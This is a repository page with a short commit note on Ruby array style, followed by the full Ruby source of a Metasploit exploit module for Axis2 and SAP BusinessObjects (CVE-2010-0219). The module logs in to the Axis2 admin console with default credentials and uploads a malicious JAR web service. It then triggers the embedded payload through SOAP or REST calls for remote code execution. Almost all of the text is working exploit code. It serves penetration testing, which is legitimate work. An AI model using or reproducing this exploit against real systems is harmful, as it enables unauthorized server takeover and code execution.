c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
344 lines
11 KiB
Ruby
344 lines
11 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
|
|
'Description' => %q{
|
|
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
|
|
and uploads and executes commands via deploying a malicious web service by using SOAP.
|
|
},
|
|
'References' =>
|
|
[
|
|
# General
|
|
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
|
|
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
|
|
[ 'CVE', '2010-0219' ],
|
|
[ 'OSVDB', '68662' ]
|
|
],
|
|
'Platform' => %w{ java linux win }, # others?
|
|
'Targets' =>
|
|
[
|
|
[ 'Java', {
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
},
|
|
],
|
|
#
|
|
# Platform specific targets only
|
|
#
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
},
|
|
],
|
|
[ 'Linux X86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Dec 30 2010',
|
|
'Author' =>
|
|
[
|
|
'Joshua Abraham <jabra[at]rapid7.com>', # original module
|
|
'Chris John Riley' # modifications
|
|
],
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
|
|
OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
|
|
], self.class)
|
|
register_autofilter_ports([ 8080 ])
|
|
end
|
|
|
|
def upload_exec(session,rpath)
|
|
contents=''
|
|
name = Rex::Text.rand_text_alpha(8)
|
|
services_xml = %Q{
|
|
<service name="#{name}" scope="application">
|
|
<description>
|
|
#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
|
|
</description>
|
|
<messageReceivers>
|
|
<messageReceiver
|
|
mep="http://www.w3.org/2004/08/wsdl/in-only"
|
|
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
|
|
<messageReceiver
|
|
mep="http://www.w3.org/2004/08/wsdl/in-out"
|
|
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
|
|
</messageReceivers>
|
|
<parameter name="ServiceClass">
|
|
metasploit.PayloadServlet
|
|
</parameter>
|
|
</service>
|
|
}
|
|
if target.name =~ /Java/
|
|
zip = payload.encoded_jar
|
|
zip.add_file("META-INF/services.xml", services_xml)
|
|
|
|
# We need this class as a wrapper to run in a thread. For some reason
|
|
# the Payload class is giving illegal access exceptions without it.
|
|
path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
|
|
fd = File.open(path, "rb")
|
|
servlet = fd.read(fd.stat.size)
|
|
fd.close
|
|
zip.add_file("metasploit/PayloadServlet.class", servlet)
|
|
|
|
contents = zip.pack
|
|
end
|
|
|
|
boundary = rand_text_alphanumeric(6)
|
|
|
|
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
|
|
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
|
|
data << contents
|
|
data << "\r\n--#{boundary}--"
|
|
|
|
res = send_request_raw({
|
|
'uri' => "#{rpath}/axis2-admin/upload",
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
|
'Content-Length' => data.length,
|
|
'Cookie' => "JSESSIONID=#{session}",
|
|
}
|
|
}, 25)
|
|
|
|
if (res and res.code == 200)
|
|
print_status("Successfully uploaded")
|
|
else
|
|
print_error("Error uploading #{res}")
|
|
return
|
|
end
|
|
=begin
|
|
res = send_request_raw({
|
|
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
|
|
'method' => 'GET',
|
|
'headers' =>
|
|
{
|
|
'Cookie' => "JSESSIONID=#{session}",
|
|
}
|
|
}, 25)
|
|
puts res.body
|
|
puts res.code
|
|
if res.code > 200 and res.code < 300
|
|
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
|
|
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
|
|
puts dir
|
|
else
|
|
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) )
|
|
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
|
|
puts dir
|
|
end
|
|
end
|
|
end
|
|
=end
|
|
|
|
print_status("Polling to see if the service is ready")
|
|
|
|
res_rest = send_request_raw({
|
|
'uri' => "#{rpath}/services",
|
|
'method' => 'GET',
|
|
}, 25)
|
|
|
|
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
|
xmlns='http://session.dsws.businessobjects.com/2007/06/01'
|
|
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
|
|
|
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
|
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
|
|
data << '<soapenv:Header/>' + "\r\n"
|
|
data << '<soapenv:Body>' + "\r\n"
|
|
data << '<soapenv:run/>' + "\r\n"
|
|
data << '</soapenv:Body>' + "\r\n"
|
|
data << '</soapenv:Envelope>' + "\r\n\r\n"
|
|
|
|
begin
|
|
p = /Please enable REST/
|
|
catch :stop do
|
|
1.upto 5 do
|
|
Rex::ThreadSafe.sleep(3)
|
|
|
|
if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
|
|
# Try to execute the payload
|
|
res = send_request_raw({
|
|
'uri' => "#{rpath}/services/#{name}",
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'Content-Length' => data.length,
|
|
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
|
|
'Content-Type' => 'text/xml; charset=UTF-8',
|
|
}
|
|
}, 15)
|
|
else
|
|
## rest
|
|
res = send_request_raw({
|
|
'uri' => "#{rpath}/services/#{name}/run",
|
|
'method' => 'GET',
|
|
'headers' =>
|
|
{
|
|
'cookie' => "jsessionid=#{session}",
|
|
}
|
|
}, 25)
|
|
|
|
if not (res.code > 200 and res.code < 300)
|
|
## rest alternative path (use altres as a 200 is returned regardless)
|
|
altres = send_request_raw({
|
|
'uri' => "#{rpath}/rest/#{name}/run",
|
|
'method' => 'GET',
|
|
'headers' =>
|
|
{
|
|
'cookie' => "jsessionid=#{session}",
|
|
}
|
|
}, 25)
|
|
end
|
|
end
|
|
|
|
if res and res.code > 200 and res.code < 300
|
|
cleanup_instructions(rpath, name) # display cleanup info
|
|
throw :stop # exit loop
|
|
elsif res and res.code == 401
|
|
if (res.headers['WWW-Authenticate'])
|
|
authmsg = res.headers['WWW-Authenticate']
|
|
end
|
|
print_error("The remote server responded expecting authentication")
|
|
if authmsg
|
|
print_error("WWW-Authenticate: %s" % authmsg)
|
|
end
|
|
cleanup_instructions(rpath, name) # display cleanup info
|
|
raise ::Rex::ConnectionError
|
|
throw :stop # exit loop
|
|
end
|
|
end
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")
|
|
end
|
|
end
|
|
|
|
def cleanup_instructions(rpath, name)
|
|
print_line("")
|
|
print_status("NOTE: You will need to delete the web service that was uploaded.")
|
|
print_line("")
|
|
print_status("Using meterpreter:")
|
|
print_status("rm \"webapps#{rpath}/WEB-INF/services/#{name}.jar\"")
|
|
print_line("")
|
|
print_status("Using the shell:")
|
|
print_status("cd \"webapps#{rpath}/WEB-INF/services\"")
|
|
print_status("del #{name}.jar")
|
|
print_line("")
|
|
end
|
|
|
|
def exploit
|
|
user = datastore['USERNAME']
|
|
pass = datastore['PASSWORD']
|
|
rpath = normalize_uri(datastore['PATH'])
|
|
|
|
success = false
|
|
srvhdr = '?'
|
|
begin
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(rpath, '/axis2-admin/login'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
|
}, 25)
|
|
|
|
if not (res.kind_of? Rex::Proto::Http::Response)
|
|
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
|
|
end
|
|
|
|
if res.code == 404
|
|
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
|
|
end
|
|
|
|
srvhdr = res.headers['Server']
|
|
if res.code == 200
|
|
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
|
|
# as well but that seems like an element someone's more
|
|
# likely to change
|
|
|
|
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
|
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
|
session = $1
|
|
end
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
|
|
end
|
|
|
|
|
|
if not success and not rpath =~ /dswsbobje/
|
|
rpath = '/dswsbobje'
|
|
begin
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(rpath, '/axis2-admin/login'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
|
}, 25)
|
|
|
|
if not (res.kind_of? Rex::Proto::Http::Response)
|
|
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
|
|
end
|
|
|
|
if res.code == 404
|
|
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
|
|
end
|
|
|
|
srvhdr = res.headers['Server']
|
|
if res.code == 200
|
|
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
|
|
# as well but that seems like an element someone's more
|
|
# likely to change
|
|
|
|
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
|
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
|
session = $1
|
|
end
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
|
|
end
|
|
end
|
|
|
|
if success
|
|
print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
|
|
upload_exec(session,rpath)
|
|
else
|
|
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
|
|
end
|
|
end
|
|
|
|
end
|